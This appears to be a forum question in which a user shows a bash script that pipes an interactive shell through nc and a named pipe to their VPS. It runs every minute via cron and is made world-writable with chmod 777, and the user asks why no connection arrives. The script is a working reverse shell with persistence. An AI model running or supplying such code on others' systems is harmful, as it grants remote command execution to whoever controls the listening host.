0

I've set up a connection on my own personal machine, using this code:

#!/bin/bash

n=$(ps aux | grep -o [1]234)

if [[ $n = "" ]]; then
        mkfifo f
        nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1
fi

I want to connect to it from another different machine on a different network, so I bought a VPS! I replaced the text VPS_IP_ADDRESS_HERE with the IP address of my VPS. Then I made sure to give the script permissions with chmod 777 /etc/whatever. I also did a crontab to make sure the bash script runs every minute and set it to the following code:

* * * * * /etc/whatever

Now on a different machine I SSH into the VPS and did the command nc -l -p 1234 but no connections happened or anything! Please help!

Michael Hampton
  • 237,123
  • 42
  • 477
  • 940

0 Answers0